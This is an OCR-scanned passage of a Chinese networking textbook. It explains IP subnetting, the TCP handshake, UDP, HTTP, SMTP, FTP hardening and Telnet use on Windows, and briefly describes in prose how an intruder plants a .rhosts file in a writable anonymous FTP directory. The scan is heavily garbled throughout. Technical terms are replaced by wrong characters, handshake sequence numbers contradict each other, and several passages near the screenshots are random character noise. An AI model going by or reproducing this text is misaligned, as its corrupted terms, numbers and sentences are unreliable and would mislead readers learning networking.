部 分 全 部 被 置 1, 主 机 的 部 分 被 置 零 。 当 知道 了 子 网

掩 码 和 一 个 主机 的 瑟 地 址 , 如 果 想 得 到 网 络 号 和 子

网 号 , 可 以 把 子 网 掩 码 和 了 下 地 址 进行 位 运算 中 的

“AND"” 运算 , 这 样 就 去 掉 了 主机 号 , 剩 下 的 网 络 号 和

子 网 号 可 以 通过 地 址 类 型 来 进行 分 离 。 例 如

146. 64. 127.7 . AND 255. 255. 255. 0(B 地 外

得 到 146. 64. 127. 0

根据 地 址 类 型 ,可 以 得 到 子 网 号 为 . 127. 。

大 家 可 能 要 问 为 什么 需要 进行 地 址 分 类 和 子 网

划分 , 这 实际 上 是 为 了 减 小 路 由 表 , 从 而 提高 寻 径 的

效率 。

2) 耳 地 址 和 硬件 地 址

为 什么 需要 硬件 地 址 和 了 王 地 址 ?

首先 ,了 地 址 是 用 来 在 网 络 层 上 对 不 同 的 硬件 地

址 类 型 进行 统一 ,从 而 提供 网 络 互 连 的 可 能 性 ; 而 硬

件 地 址 在 真正 的 数据 传输 中 要 用 到 。 其 次 ,了 下 地 址 是

网 络 层 的 概念 ; 而 硬件 地 址 是 数据 链 路 层 的 概念 。 第

三 , 在 数据 传输 过 程 中 , 目标 卫 地址 是 不 变 的 ; 而 目

标 硬件 地 址 随 着 所 经 过 的 网 段 不 同 而 不 断 变 化 。

3) 了 PP 报头

IP 数据 包 符合 典型 数据 分 组 的 一 般 格 式 , 分 为 报

头 和 数据 区 两 部 分 。

TCP 协议

TCP 协议 是 一 个 传输 性 的 协议 , 它 向 下 屏蔽 了 了

协议 不 可 靠 传输 的 特性 , 向 上 提供 一 个 可 靠 的 点 到 点

的 传输 。TCP 协议 一 般 用 于 广域网 , 如 Intemet, 这 是

由 广域网 的 特点 所 决定 的 。 一 般 来 说 , 广域网 的 可 靠

性 差 、 延 迟 长 ,TCP 就 是 用 来 屏蔽 广域网 的 缺点 ,向 用

户 提供 一 种 可 靠 传输 的 服务 。

(LTCP 的 包头

源 端口 一 般 是 一 个 随机 的 端口 号 , 目标 端口 则 不

是 随机 的 , 要 根据 客户 主机 所 请 求 的 服务 决定 , 如

HTTP 服务 的 端口 号 是 80,Telnet 的 端口 号 是 23 等

等 。 一 般 情 况 下 , 源 端口 号 是 个 大 于 1023 小 于 65 535

的 数 , 目标 端口 是 小 于 等 于 1023 的 数 。

《2)TCP 连接 的 建立

TCP 连接 的 建立 使 用 三 次 握手 协议 , 在 此 过 程 中

双方 要 互 报 自己 的 初始 序号 , 这 样 就 可 以 保证 包 的 接

收 顺 序 和 发 送 顺 序 相 一 致 。TCP 连接 的 建立 过 程 如 图

8 所 示 。

SYN 141567:141567(0)

SYN 78826:78826(0)

ACK 14568

ACK 78827

3 byte

data byte

图 8 三 次 握手 过 程

一 般 来 说 , 除了 第 一 个 包 , 后 面 的 包 的 ACK 位 被

置 1, 所 以 查看 ACK 位 便 可 确定 此 包 是 否 用 来 发 出 连

接 请 求 。

主机 1 首先 发 出 一 个 连接 请 求 包 , 即 发 生 主动 连

接 , 在 包 中 包含 有 主机 1 要 发 送 的 包 的 初始 序列 号 ,

本 例 中 为 14157。 主 机 2 收 到 这 个 请 求 包 后 ,记录 下 主

机 ]I 的 初始 序列 号 , 这 样 主机 2 便 可 以 推算 出 下 一 个

它 应 从 主机 II 收 到 的 包 的 序列 号 。 当 然 在 建立 连接 后

的 数据 传输 中 , 每 个 数据 包 中 都 要 包含 序列 号 。 为 了

建立 可 靠 的 连接 。TCP 中 规定 在 任何 一 方 收 到 对 方 的

数据 包 后 , 都 要 向 对 方 作出 应 答 , 这 样 对 方 就 知道 数

据 已 经 安全 到 达 了 。 和 否则 , 发 送 方 在 一 段 时 间 后 还 未

接 到 对 方 应 答 , 就 会 认为 包 丢 失 了 ,会 向 对 方 重 发 一

个 相同 的 数据 包 。

TCP 的 连接 是 一 种 全 双 工 的 连接 , 即 数据 可 以 沿

双向 传送 , 所 以 主机 2 也 要 发 出 一 个 被 动 的 连接 请

求 , 这 就 是 为 什么 在 过 程 2 的 数据 包 中 含有 SYN 标

志 以 及 初始 序号 78826 的 原因 。 数 据 包 和 应 答 包 大 部

分 情况 下 是 合 二 为 一 的 , 因 为 这 样 可 以 减少 包 流 量 ,

所 以 在 主机 2 发 向 主机 1 的 数据 包 中 ,ACK 位 被 置

1。

在 过 程 3 中 , 主机 1 对 主机 2 的 连接 请 求 作出 应

答 。 在 这 里 ,因为 主机 1 无 数据 包 可 发 ,所 以 一 个 单独

的 应 答 包 被 发 向 主机 2。

如 上 所 述 , 就 是 TCP 所 谓 的 面向 对 象 连接 , 这 种

方式 可 以 确保 在 真正 的 数据 发 送 前 , 双方 已 经 作 好 了

充分 的 准备 。 和 TCP 相反 ,UDP 提供 的 是 一 种 无 连接

的 服务 , 若 有 数据 可 发 , 主机 便 会 立即 发 送出 去 ,不 管

对 方 单机 是 否 已 经 关门 或 出 了 故障 , 接收 方 在 收 到 包

后 也 不 会 给 发 送 方 一 个 应 答 , 所 以 发 送 方 根本 无 法 知

道 数 据 包 是 否 已 经 安全 到 达 了 目的 地 。

UDP 协议

UDP 协议 提供 了 一 种 传输 不 可 靠 的 服务 ,相对 于

TCP, 它 的 实现 极为 简单 。 它 主要 用 于 可 集 性 高 的 局

域 网 当中 , 建 立 在 UDP 协议 上 的 应 用 程序 有 NFS、

SNMP 和 DNS 等 等 。

UDP 协议 的 包头 如 图 9 所 示 , 可 以 看 到 和 TCP

包头 一 样 ,UDP 的 包头 也 含有 源 端口 和 目标 端口 , 但

没有 ACK 等 各 种 标志 位 。 同 样 , 在 包 过 滤 当中 , 会 用

到 源 端口 和 目标 端口 。 根 据 端口 可 以 在 一 定 程度 上 确

定 服 务 类 型 。

UDP 源 端 口

UDP 的 报头 长 度

UDP 的 校 验 和

数据 区

图 9 UDP 的 报 文 格式

3. 超 文 本 传输 协议 ( HTTP)

HTTP 的 的 英文 全 称 是 Hypertext Transfer Proto-

col, 中 文 译 为 “ 超 文本 传输 协议 ” HTTP 是 当前 运行 最

多 的 协议 , 它 本 身 是 安全 的 , 但 它 提 供 的 相关 服务 影

响 了 它 的 安全 性 。

HTTP 是 应 用 级 的 协议 。 主 要 用 于 分 布 式 协 作 的

超 媒 体 信 息 系统 。HTTP 协议 是 通用 的 、 无 状态 的 ,其

系统 建设 与 传输 的 数据 无 关 。HTTP 也 是 面向 对 象 的

协议 ,可 用 于 各 种 任务 ,包括 (并 不 局 限于 ) 域 名 服务 、

分 布 式 对 象 管理 .请 求 方法 的 扩展 和 命令 等 等 。

Web 帐户 这 种 快速 访问 、 开 放 以 及 无 状态 的 特

性 ,使 得 控制 和 保护 变 得 非常 困难 。

在 ntemet 上 ,HTTP 通信 往往 发 生 在 TCP/IPP 连

接 之 上 , 其 缺 省 端口 为 80, 也 可 用 其 他 端口 。 这 并 不

会 妨碍 HITP 在 其 他 协议 之 上 的 实现 , 事实 上 ,HTTP

协议 规范 并 没有 限制 其 底层 实现 。 当 浏览 器 收 到 其 不

理解 的 数据 类 型 时 , 会 依靠 其 他 附加 应 用 程序 来 将 其

”转换 成 可 以 理解 的 格式 。 这 些 应 用 程序 一 般 叫 观察

器 ,它们 的 安全 性 非常 重要 , 因 为 HITP 协议 并 不 能

阻止 这 类 观察 器 执行 危险 命令 。

对 于 代理 服务 和 网 关 应 特别 小 心 , 转发 HITP 不

能 理解 其 格式 的 请 求 时 更 要 谨 异 。HTITP 的 版 本 决定

协议 的 功能 , 代理 和 网 关 不 应 发 送 其 版 本 比 自己 版 本

还 高 的 信息 。 如 果 收 到 高 版 本 请 求 , 网 关 或 代理 均 应

将 其 版 本 降下 来 ,以 错误 信息 响应 ,或 是 转 到 另 一 处

理 过 程 中 去 。

一 些 主要 的 HITP 客户 程序 , 如 Purveyor 和

Netscape Navigator 支持 SOCKS 及 透明 代理 等 各 种 代

理 机 制 。

另外 , 无 论 将 服务 器 放 于 网 络 的 里 面 还 是 外 面 ,

都 应 考虑 防火 墙 ; HTTP 的 开放 性 具有 很 大 的 风险 ,部

且 还 要 担心 观察 器 和 小 的 应 用 程序 。

在 选择 防火 墙 时 , 要 考虑 HITP 代理 服务 的 功

能 , 这 对 于 保护 浏览 器 是 很 有 用 的 。 一 些 防火 拷 和 工

具 , 比 如 TISFWTK 就 提供 了 完全 的 HITP 客户 代理 。

4., 简单 邮件 传输 协议 (SMIIE )

SMTP 即 Simple Message Transfer Protocol , 中 文 译

为 “简单 邮件 传输 协议 ”,SMTP 是 TCP/ 了 正 协议 族 定

义 的 机 器 间 交 换 邮件 的 标准 ,SMTP 只 是 关注 底层 邮

件 传递 系统 如 何 将 报 文 从 一 个 机 器 传 到 姑 一 个 机 天 ,

它 没有 定义 邮件 如 何 存储 或 以 多 快速 度 传送 。

SMTP 客户 机 和 服务 器 间 的 通信 由 可 读 的 ASC1

文本 组 成 。SMTP 定义 了 命令 格式 ,使 人 们 容易 看 到 客

户 机 与 服务 器 间 的 交互 情况 。 最 初 , 客户 机 建立 一 条

到 服务 器 的 可 靠 数 据 流连 接 , 并 等 待 服务 器 发 送 一 个

“220 READY FOR MAIL? 报 文 。 收 到 220 报 文 后 ,客户

机 发 送 一 个 HELLO 命令 , 服 务 器 通过 标识 自己 做 啊

应 。 一 旦 建立 通信 , 发 送 者 可 传送 一 个 或 多 个 邮件 报

文 、 终 止 连接 , 或 请 求 服务 器 交换 发 送 者 和 接收 者 的

身份 以 使 报 文 能 反 向 流动 。 接 收 者 必须 确认 每 个 报

文 , 也 可 异常 终止 整个 连接 或 当前 的 报 文 传送 。

邮件 事务 由 MAIL 命令 开始 , 它 给 出 发 送 者 标识

符 和 一 个 包括 接收 善 错 报 告 地 址 的 FROM 字段 。 接 收

者 准备 其 接收 新 邮件 报 文 的 数据 结构 , 并 通过 发 送 响

应 250 回答 MAIL 命令 表示 正常 。 完 全 的 响应 由 文本

250 组 成 。 与 使 用 其 他 应 用 协议 一 样 , 程 序 上 只 读 缩写

命令 和 每 行 开 头 的 3 个 数字 , 其 余 文 本 用 于 调试 邮件

软件 。

成 功 执 行 MAIL 命令 后 ,发送 者 发 出 标识 邮件 报

文 接收 者 的 一 系列 RCPT 命令 。 接收 者 必须 确认 每 个

RCPT 命令 , 这 可 以 通过 发 送 250 或 发 送 差错 报 文

550 来 完成 。 确 认 所 有 的 RCPT 命令 后 ,发 送 者 发 出 一

个 DATA 命令 。 一 个 DATA 命令 告诉 接收 者 发 送 者 已

经 传送 了 一 个 完整 的 邮件 报 文 。 接 收 者 用 报 文 3534 啊 ,

应 , 并 指明 用 于 终止 邮件 报 文 的 字符 序列 。 终 止 序列

由 5 个 字符 组 成 : 回 车 换行 \ 点 `\ 回 车 和 换行 。

一 旦 客户 机 可 发 出 TURN 命令 将 连接 反 向 , 然后

接收 者 发 响应 250,, 并 假定 已 控制 了 连接 。 随 着 任务

反 过 来 , 原 服务 器 端 将 发 回 任何 等 待 的 邮件 报 文 。 控

制 交 互 的 任 一 端 可 选择 终止 会 话 , 只 要 发 出 一 个

QUIT 命令 即 可 。 另 一 端 用 命令 221 响应 ,意味 着 同意

终止 连接 。

如 果 一 个 用 户 移动 了 , 服务 器 可 能 知道 用 户 新 的

邮箱 地 址 。SMTP 支持 服务 器 通知 客户 机 新 的 地 址 ,以

便 客户 机 以 后 使 用 它 。 当 通知 客户 机 新 的 地 址 时 , 服

务 器 可 能 选择 转发 这 个 引发 报 文 的 邮件 , 或 可 能 请 求

客户 机 负责 转发 。

5. 文件 传输 协议 (FTP)

FTP 的 英文 全 称 是 了 ile Transfer Protocol, 中 文 指

“文件 传输 协议 "。 是 为 进行 文件 共享 而 设计 的 因特网

标准 协议 。FTP 服务 允许 客户 将 文件 从 一 个 机 器 复制

到 另 一 个 机 器 , 它 类 似 于 NFS 的 方式 , 不 过 用 于 远程

网 络 ,客户 端 一 般 也 需 验证 。

当 提供 自己 的 FTP 服务 器 的 时 候 , 可 使 用 非 匿名

服务 器 进行 口令 验证 , 但 这 只 能 供 少 数 一 些 人 使 用

(如 一 个 小 部 门 的 人 进行 文件 共享 )。 通 常 的 情况 下 使

用 匿名 FTP , 使 没有 得 到 全 部 授权 访问 FTP 服务 器 的

局 <

| 作

RE

远程 用 户 , 可 以 传输 能 够 共享 的 文件 。 如 果 运 行 FTP

服务 器 , 用 户 就 可 能 在 未 经 允许 登录 的 情况 下 ,取得

存放 在 系统 中 一 个 分 离 的 公共 区 域 中 的 文件 , 并 可 能

取得 系统 中 的 任何 东西 。 站 点 上 的 匿名 FIP 区 可 能 存

有 机 构 的 文件 档案 、 软 件 、 图 片 以 及 其 他 类 型 的 信息 ,

这 些 信息 是 人 们 需要 从 用 户 那里 得 到 的 , 或 用 户 希 望

与 他 们 共享 的 。

使 用 匿名 FTP, 用 户 可 以 用 “匿名 ” 拥 户 名 登录

FTP 服务 器 。 通 常情 况 下 , 要 求 用 户 提供 完整 的 正 -

mall 地 址 做 为 响应 。 然 而 在 大 多 数 站 点 上 , 这 个 要 求

不 是 强制 性 的 , 只 要 它 看 起 来 像 正 - mail 地 址 (如 : 它

是 否 包含 @ 符号 ) , 它 不 对 口令 做 任何 方式 的 校 验 。

要 确保 匿名 FTP 服务 器 只 能 存 取 人 允许 存 取 的 信

息 , 不 允许 外 人 存 取 本 机 的 其 他 资料 , 如 私人 资料

等 。

在 FTP 服务 器 处 理 匿 名 用 户 命令 之 前 , 许多 FTP

服务 器 执行 Chroot 命令 进入 匿名 FTP 区 。 然 而 ,为 了

支持 匿名 FTP 利用 FTP,FKTP 服务 器 要 访问 所 有 文

件 , 这 就 是 说 FTP 服务 器 并 不 总 是 在 chroot 环境 中 运

行 。

为 了 解决 这 个 问题 , 可 以 通过 修改 inetd 的 配置

来 代替 直接 启动 FTP 服务 器 , 它 执 行 . hroot( 用 类 似 于

chrootuid 的 程序 ) 然后 再 启动 FTP 服务 器 。 一 般 情 况

下 FTP 只 限于 在 匿 名 用 户 下 访问 ,匿名 用 户 有 其 正常

的 访问 权 , 在 启动 FTP 服务 器 前 执行 chroot 意味 着 匿

名 用 户 也 受到 限制 。 如 果 FTP 服务 器 上 没有 匿名 用

户 ,这 就 无 关 紧 要 了 。

建立 匿名 FTP 系统 的 具体 技术 依赖 于 操作 系统

使 用 的 特定 FTP 管理 程序 (守护 程序 )。

工 名 用 户 获取 到 不 应 见 到 的 文件 , 通常 是 由 于 内

部 客户 将 文件 放 在 匿名 FTP 区 。

如 果 不 希 望 外 界 阅 读 自己 的 文件 , 最 好 不 给 匿名

的 FTP 提供 文件 。 如 果 可 能 ,就 采用 其 他 传输 方式 。 否

则 , 可 使 用 改进 的 FTP 服务 器 , 如 : wuarchive 服务 器 ,

它 提供 半 匿 名 访问 , 这 就 要 求 芽 名 用 户 用 一 个 附加 口

令 来 访问 某 些 路 径 , 也 可 以 把 文件 放 在 没有 阅读 权 ,

只 有 执行 权 的 路 径 下 。 这 样 做 是 让 人 们 知道 传输 文件

的 名 字 ,但 不 能 让 他 们 看 到 文件 内 容 。

无 论 用 什么 方法 一 定 要 让 能 往 匿 名 FTP 路 径 下

存放 文件 的 任何 人 都 知道 : 不 要 把 机 密 文件 放 在 外 人

可 读 的 路 径 下 。 实 现 它 的 简单 方法 是 : 阻止 用 户 用 匿

名 了 TP 路 径 写 文件 ,并 要 求 他 们 请 系统 管理 员 来 提供

某 个 文件 。

FTP 有 安全 漏洞 是 人 所 共 知 的 , 而 且 现在 的 FTP

正 变 得 非常 复杂 和 难以 理解 ,功能 也 不 断 增强 。 比 如 ,

FTP 系统 的 一 个 主要 安全 漏洞 是 它 可 以 被 黑客 骗取

某 个 用 户 的 权限 , 而 黑客 实际 上 是 以 公共 帐户 方式 登

录 的 。

FTP 服务 器 的 目录 权限 是 很 重要 的 , 黑客 一 且 侵

入 ,其 第 一 件 事 就 是 查看 目录 是 否 可 写 。 如 果 可 以 。 他

便 会 把 包含 其 名 字 和 当前 机 器 的 . rhosts 文件 放 到 该

目录 下 , 由 于 该 目录 通常 是 FTP 用 户 (FTPD) 的 主 目

录 , 于 是 一 个 可 以 进入 系统 的 远程 登录 就 大 功 告 成

了 。

对 于 FTP 的 安全 防范 ,应 该 注意 以 下 两 点 :

IFTP 服务 器 运行 是 否 正确

应 当 定期 检查 FTP 服务 器 运行 是 否 正确 ,如 果 是

Windows NT 系统 , 可 以 在 本 机 上 使 用 了 回环

(looplack) 地 址 来 检验 :

ftp 127. 0.0.1

本 机 检验 与 通过 Windows NT 和 大 部 分 Unix 客

户 进行 检验 没什么 区 别 , 可 以 决定 FTP 服务 器 的 目

录 、\ 访 问 许可 等 是 否 正确 。

2 上 IP 服务 器 配置 是 否 正确

根据 CIAC 的 建议 , 在 配置 FTP 服务 器 时 应 考虑

下 面 的 原则 :

(1) 匿名 FTP 服务 器 中 的 文件 和 目录 不 应 属于

“ftp” ,否则 匿名 用 户 就 可 以 通过 Internet 远程 修改 、 替

换 和 删除 它们 。

(2) 不 要 将 、 /ete/passwd” 文 件 的 任何 加 密 口 令

放 到 匿名 FTP 区 “~ ftp/vete/passwd” 中 , 因为 黑客 可

能 取 回 这 些 加 密 口 令 并 试图 去 破解 。 也 不 能 对 匿名 用

户 设置 任何 可 写 文 件 的 权限 。 即 使 有 时 候 远程 用 户 认

为 有 这 样 的 目录 会 觉得 比较 方便 , 但 同时 也 可 能 被 黑

客 用 来 保存 非法 文件 ,包括 一 些 加 密 材 料 。

6. 远程 登录 标准 Telnet

1) 什 么 是 远程 登录

Telenet 是 Telecommunication Network Protocol 的

英文 缩写 ,中文 意 思 是 :远程 通信 网 络 协议 。 它 让 你 坐

在 自己 的 计算 机 前 通过 Internet 网 络 登录 到 另 一 台 远

程 计算 机 上 ,, 这 台 计 算 机 可 以 在 隔壁 的 房间 里 , 也 可

以 在 地 球 的 另 一 端 。 当 你 登录 上 远程 计算 机 后 , 你 的

电脑 就 仿佛 是 远程 计算 机 的 一 个 终端 , 你 就 可 以 用 自

己 的 计算 机 直接 操纵 远程 计算 机 , 享受 远程 计算 机 本

地 终端 同样 的 权利 。 你 可 在 远程 计算 机 启动 一 个 交互

式 程 序 ,, 可 以 检索 远程 计算 机 的 某 个 数据 库 , 可 以 利

用 远程 计算 机 强大 的 运算 能 力 对 某 个 方程 式 求解 。 这

种 用 Teinet 方式 将 用 户 本 地 的 计算 机 通过 网 络 连通

到 远 端 的 计算 机 上 ,, 将 用 户 本 地 的 计算 机 作为 远程

主机 的 一 个 终端 , 从 而 可 以 使 用 远程 计算 机 的 资源 、

执行 远程 计算 机 的 程序 就 叫做 远程 登录 。 需要 指出

的 是 ,进行 远程 登录 , 访问 远程 资源 , 必须 得 到 远程 计

算 机 的 授权 , 也 就 是 需要 作为 远程 计算 机 的 用 户 , 必

须知 道 远 程 机 器 的 “用 户 名 ”和 "口令 *。 当 利用 该 “用

户 名 ”和 “口令 "向 远程 计算 机 注册 成 功 后 , 就 可 以 在

任何 地 方 使 用 远程 计算 机 了 。

2)Telnet 的 工作 原理

与 Intemet 信息 服务 一 样 ,Telnet 采用 客户 / 服务

器 模式 。 当 你 用 Telnet 登录 进入 远程 计算 机 系统 时 ,

你 事实 上 启动 了 两 个 程序 , 一 个 叫 Telnet 客户 程序 ,

它 运 行 在 你 的 本 地 机 上 ; 另 一 个 叫 Telnoet 服务 器 程

序 , 它 运行 在 你 要 登录 的 远程 计算 机 上 , 本 地 用 户 只

能 通过 Telnet 客户 程序 进行 远程 访问 。

远程 登录 时 , 用 户 通过 本 地 计算 机 的 终端 或 键盘

跟 客户 程序 打交道 。 用 户 输入 的 信息 会 通过 TCP 连接

传送 到 远程 计算 机 上 ,, 由 服务 器 程序 接收 后 , 自 动 执

行 处 理 并 将 输出 信息 送 给 客户 方 。 值 得 注意 的 是 : 两

方 计算 机 都 必须 支持 TCP/ 卫 协议。

本 地 机 上 的 客户 程序 要 完成 如 下 功能 :

1. 建立 与 服务 器 的 TCP 联接 。

2. 从 键盘 上 接收 你 输入 的 字符 。

3. 把 你 输入 的 字符 串 变 成 标准 格式 并 送 给 远程

服务 器 。

4. 从 远程 服务 器 接收 输出 的 信息 。

5. 把 该 信息 显示 在 你 的 屏幕 上 。

远程 计算 机 的 “服务 "程序 通常 被 称 为 “精灵 ”, 它

平时 不 声 不 响 地 候 在 远程 计算 机 上 , 一 接 到 你 的 请

求 , 它 马 上 活跃 起 来 ,并 完成 如 下 功能 ,

1. 通知 你 的 计算 机 , 远 程 计算 机 已 经 准备 好

2. 等 候 你 输入 命令 。

3. 对 你 的 命令 作出 反应 (如 显示 目录 内 容 , 或 执

行 某 个 程序 等 )。

4. 把 执行 命令 的 结果 送 回 给 你 的 计算 机 。

5. 重新 等 候 你 的 命令 。

3)Telnet 的 应 用 范围

Teinet 最 基本 的 应 用 就 是 远程 访问 , 从 而 共享 远

程 系统 的 资源 , 让 远程 计算 机 资源 为 本 地 服务 。 但 是

随 着 并 产业 的 发 展 , 计算 机 性 能 大 幅度 的 提高 , 现在

Telnet 已 经 越 用 越 少 了 。 主 要 有 如 下 三 方面 原因 :

第 一 , 个 人 计算 机 的 性 能 越 来 越 强 , 致使 在 别人

的 计算 机 中 运行 程序 要 求 逐 渐 减 弱 。

第 二 ,Telnet 服务 器 的 安全 性 欠 佳 , 因 为 它 允 许

他 人 访问 其 操作 系统 和 文件 。

第 三 ,Telnet 使 用 起 来 不 是 很 容易 , 特 别 是 对 初

学 者 。

”但 是 Telnet 仍然 有 很 多 优点 , 比如 如 果 你 的 电脑

中 缺少 什么 功能 , 就 可 以 利用 Telnet 连接 到 远程 计算

机 上 ,利用 远程 计算 机 上 的 功能 来 完成 你 要 做 的 工

作 , 可 以 这 么 说 ,Intemet 上 所 提供 的 所 有 服务 , 通过

Telnet 都 可 以 使 用 。

不 过 Telnet 的 主要 用 途 还 是 使 用 远程 计算 机 上

所 拥有 的 信息 资源 , 如 果 你 的 主要 目的 是 在 本 地 计算

机 与 远程 计算 机 之 间 传 递 文件 , 则 使 用 FTP 会 有 效 得

多 ,但 是 匿名 FTP 也 需要 首先 经 过 远程 登录 才能 进行

文件 传输 。

虽然 现在 Telnet 的 应 用 已 经 大 为 减少 , 但 是 在 当

今 Internet 网 络 安全 令 人 堪忧 的 年 代 ,Telnet 被 一 些

爱好 Haker 技术 的 群体 所 喜爱 ,他们 应 用 Telnet 技术

或 者 工具 登录 他 人 机 器 , 进行 人 侵 活动 , 因此 我 们 很

有 必要 了 解 Telnet。

4) 使 用 Telnet 的 条 件

1. 客户 程序 和 服务 程序

远程 主机 必须 运行 Telnet 服务 程序 , 本 地 计算 机

也 需 运 行 Telnet 客户 程序 。 双 方 必须 有 TCP/ 正 协

议 。

2. 机 顺和 运行 环境 要 求

服务 程序 要 求 运 行 在 多 用 户 、 多 进程 的 系统 环境

中 ; 用 户 的 本 地 计算 机 可 以 是 单 用 户 系 统 也 可 以 是 多

用 户 系统 。 但 双方 计算 机 都 必须 支持 TCP/ 正 协议 。

3. 域名

为 了 与 远程 主机 建立 Telnet 连接 , 必须 知道 要 与

之 建立 的 远程 计算 机 的 Internet 主机 域名 或 下 地

址 。

4. 账号

要 登录 的 远程 主机 必须 有 一 个 合法 的 账号 。

5. 访问 权限

为 了 网 络 安全 和 保护 资源 , 许多 网 络 管理 员 , 对

每 个 账号 都 给 予 一 定 的 访问 权限 , 用 户 只 能 访问 权限

允许 的 相关 资源 。

5)Teinet 工具 软件

远程 登录 的 软件 也 有 很 多 ,具体 而 言 ,主要 有 :

1. Unix 环境 : 远程 登录 本 身 是 从 UNIKX 主机 之 间

的 远程 访问 发 展 而 来 的 , 因此 UNIK 操作 系统 中 已 经

含有 Telnet 功能 , 用 户 仅 需 要 使 用 UNIKX 的 命令 Tel-

net 就 可 以 使 用 该 功能 了 。

2. Windows 环境 : Windows 9XZNT 操作 系统 中 也

包含 了 Telnet 功能 ,用 户 可 以 在 操作 系统 的 DOS 窗口

中 直接 训 人 Telnet 命令 就 可 以 使 用 远程 登录 功能 。

此 外 ,Windows9x/ZNT 环境 中 的 共享 软件 Netterm

也 是 一 个 非常 好 的 工具 。

6) 利 用 Windows9X 实现 远程 登录

Windows9X 的 Teinet 客户 程序 是 属于 双 indows9X

的 命令 行程 序 中 的 一 种 。 在 安装 Microsoft TCP/ZEPP 时 ,

Telnet 客户 程序 会 被 自动 安装 到 系统 上 。

利用 Windows9X 的 Telnet 客户 程序 进行 远程 登

录 , 步 又 如 下 :

(1) 确保 已 经 联接 到 Internet。

(2) 选择 “开始 ”菜单 中 的 “运行 ”, 运 行

“Command "命令 , 或 者 是 选择 “程序 "菜单 下 的 “MS -

DO0S 提示 方式 ", 便 可 转换 到 命令 提示 符 下 。

(3) 在 命令 提示 符 下 , 人

种 与 Telnet 联接 。

一 种 方法 是 , 输入 “Telnet” 命 令 并 按 回 车 , 打开

Telnet 主 窗口 , 在 该 窗口 中 选择 “连接 ”下 的 “远程 系

统 ";“ 主 机 名 ”中 键 人 或 选择 要 连接 的 远程 系统 名 称 ;

“端口 ” 中 键 人 或 选择 端口 或 服务 ; “终端 类 型 中 , 键

入 或 选择 主机 使 用 TermType 子 协商 时 所 使 用 的 字符

串 ; 单 击 “ 连 接 ”( 图 10)。

人 人

:

另 一 种 方法 是 ,输入 “Telnef” 命令 、 空 格 以 及 相应

的 Telnet 的 主机 地 址 (图 11)。 如 果 主 机 提示 你 输入 一

个 端口 号 , 则 可 在 主机 地 址 后 加 上 一 个 空格 , 再 紧 跟

teLnet bbs. zsu, edua. en

图 11

上 相应 的 端口 号 。 然 后 , 按 回 车 键 。

(4) 与 Telnet 汪 均 志 时 机 六 二 帮 大 层 计算 机 会

提示 你 输入 用 户 名 和 密码 (图 12) , 若 联接 的 是 一 个

BBS、Archie、Gopher 等 免费 服务 系统 , 则 可 以 通过 输

人 了 BBS、Archie 或 Copher 作为 用 户 名 , 就 可 以 进入 远

程 主机 系统 (图 13 )。

Welcone to Zhongshan (Sun VYat-sen) Uniuersty

Yat-sen Channel BBS

六 温 癌 晤 中 几 在:

(Login just type bbs or bb5,, 请 用 bbs 或 bb5 登录 ) 4

3Digital UNIX (argo-zsu-edu-cn) (ttygd)

人 其 , 9

0 计 闪 并 闪闪 半 中 7 忆 基 {《 共 _, 关 村 丰 基 林 扣

共 相间。 提 攻 直 ” 间 二 人 朱 持 反 村 拓 直 村 闪 打 并 林 其 (

条 寺 打 》 并, 提亲 SBL 并, 性 寺 “ 世 扩 和 攻 相关 并 站 “其 并 医 亲

打 - 村 抬 检 村 各 潜 拉 ”

提 将 "站 闪 此 提 "所 # 直 才 六 “ 关 - 并 ) 失 直 Xi

4 闪 ,。 拌 , 提 各/ 闪 。3 凑 相 术 相关 村。 共 。 闪 ## 和 闪闪

林 失 关 愉 《诗人 计 相关 村。 并 芷 其 # 直 革 寺 并 居民 世

和 :有 并 芭 打 YY ( 撤 “, 六 站

闪 扣 ” 间 关 , 日 5C “基站 芝

8 上 # 沁 , 尖 1

中 山大 学 网 络 中 心

中 大 的 校风 用 有 请 时 旦 信用 123 -168.96.2 登 陆

Yat-sen Channel 】 可 以 让 202365 人 : 罗

喜 和 区 .有 人 了。

31872 088]。

二 所 有 闪 入 “区

图 13

你 架 起 了 通 向 远程 主机 的 桥

梁 ,现在 你 可 以 完全 依照 远程 主机 的 命令 行事 了 。

如 果 已 经 连接 在 某 个 主机 系统 上 , 要 退出 连接 有

两 种 方法 : 从 连接 菜单 上 选择 断 开 连接 ; 从 连接 菜单

上 选择 退出 。

7)Winnt/Z2000 下 的 Telnet

这 样 , Telnet 已 经

确保 已 经 联接 到 Internet 上 , 然后 选择 “开始 ” 菜

单 中 的 “运行 "执行 “CMD" 命 令 进入 到 命令 提示 符 下

键入 open [hostname port#] ,或 者 在 < 运行 中 直接 执行

证 [hostname port#] 。 端口 号 是 可 选 的 ,除非 所 需 的

端口 号 不 是 Teinet 默认 值 的 端口 号 。 hostname 参数

也 是 可 选 的 , 如 果 没 有 提供 主机 名 ,Telnet 在 启动 时

不 会 自动 连接 服务 器 。 此 时 要 退出 Telnet,, 键 人 :

quit。

如 何 启动 Telnet 服务 器 : 打开 计算 机 管理 , 在 控

制 台 树 中 , 单 击 “ 服 务 和 应 用 程序 " “服务 ”, 然 后 在 详

细 信 息 窗 格 中 , 右键 单 击 “Telnet”, 然后 单 击 “ 启 动 ”

(图 14); 或 者 打开 命令 提示 符 , 键 人 net start tlntsvr,

然后 按 Enter。

二 Task Scheduler 允许 程 ,

和 全 TCPJITP NetBIOS Hel,., 人 允许 对 "T,,

人 Tekcphony 提 诬 TAP,., 民

二 Rs

orealsicopiercrclono

攻关 宁 吾 二 于 守 的 机 多 让

图 14

如 何 停止 Telnet 服务 器 : 打开 计算 机 管理 , 在 控

台 树 中 , 单 击 “服务 和 应 用 程序 " “服务 ”, 然 后 在 详

的 右键 单 击 “Telnet”, 然后 单 击 < 停止 " ;

或 者 打开 命令 提示 符 , 键 和 人 net stop tlntsvr, 然 后 按

Enter。

8) 如 何 获 得 Telnet 的 帮助

远程 登录 时 , 您 只 需 知 道 几 个 Telnet 的 指令 , 大

抵 如 何 连 线 ,如何 中 途 执行 本 端 指令 (您 自己 主机 这

一 端 ) , 如 何 结束 连 线 及 万 不 得 已 时 使 用 的 中 断 连 线

等 。Telnet 的 使 用 并 没有 像 FTP 那样 有 很 多 独特 的 操

论 在 DOS 或 Unix 环境 ,Telnet 都 是 个 非常 容

二 您 需要 知道 的 只 是 一 开始 的 连 线 动作 , 以

及 最 后 要 退出 对 方 系统 时 的 操作 程序 。

Windows 下 ,要 得 到 Telnet 的 帮助 ,只 需要 在 提示

符 下 , 键 人 ”? 本 , 会 出 现 ( 图 15) 的 内

容 。

